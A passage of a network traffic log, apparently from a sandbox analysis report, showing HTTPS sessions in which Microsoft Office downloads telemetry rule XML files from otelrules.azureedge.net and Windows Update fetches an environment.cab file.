2024-11-24 07:44:35 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.10	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:35 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:35 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a1d7de20-e01e-0051-6948-3c84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074435Z-178bfbc474bnwsh4hC1NYC2ubs00000005mg00000000ebfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:35 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.10	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:35 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:35 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074435Z-174c587ffdfn4nhwhC1TEB2nbc0000000480000000006g16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:35 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.10	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:35 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 852b0afa-d01e-00a1-0e9b-3b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074435Z-174c587ffdfmlsmvhC1TEBvyks00000004ag000000005fhp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.10	49893	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:36 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZuLVKpZ2SH8G6f3&MD=MS8COkYs HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-24 07:44:36 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: ac1f654b-b458-47f7-a6b1-fff3a6a7076d MS-RequestId: 5a5b819a-bcd1-429b-b973-156107da6e39 MS-CV: 2qu16dSUkUm9ALOB.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 24 Nov 2024 07:44:36 GMT Connection: close Content-Length: 30005
2024-11-24 07:44:36 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-24 07:44:37 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.10	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:37 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:37 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074437Z-174c587ffdfcb7qhhC1TEB3x70000000048g000000004kq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:37 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.10	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:37 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:37 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 4c6a8f70-a01e-000d-057c-3bd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074437Z-174c587ffdfks6tlhC1TEBeza4000000044g00000000fubx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:37 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.10	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:37 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:37 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: b5bbaf22-a01e-0070-528a-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074437Z-174c587ffdfmlsmvhC1TEBvyks0000000490000000009a2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:38 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.10	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:37 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:37 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 2e331142-b01e-001e-697c-3b0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074437Z-174c587ffdfp4vpjhC1TEBybqw000000043g00000000b0ca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:38 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.10	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:37 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:38 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d5dea27c-d01e-00ad-3c8c-3ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074438Z-174c587ffdfb5q56hC1TEB04kg000000044g000000002sqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:38 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.10	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:39 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:40 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 36815d12-601e-0070-4763-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074440Z-178bfbc474bp8mkvhC1NYCzqnn00000005d000000000c8gm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:40 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.10	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:39 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:40 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: cd486f0a-401e-0048-5b49-3c0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074440Z-15b8b599d885ffrhhC1TEBtuv0000000045000000000bhmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
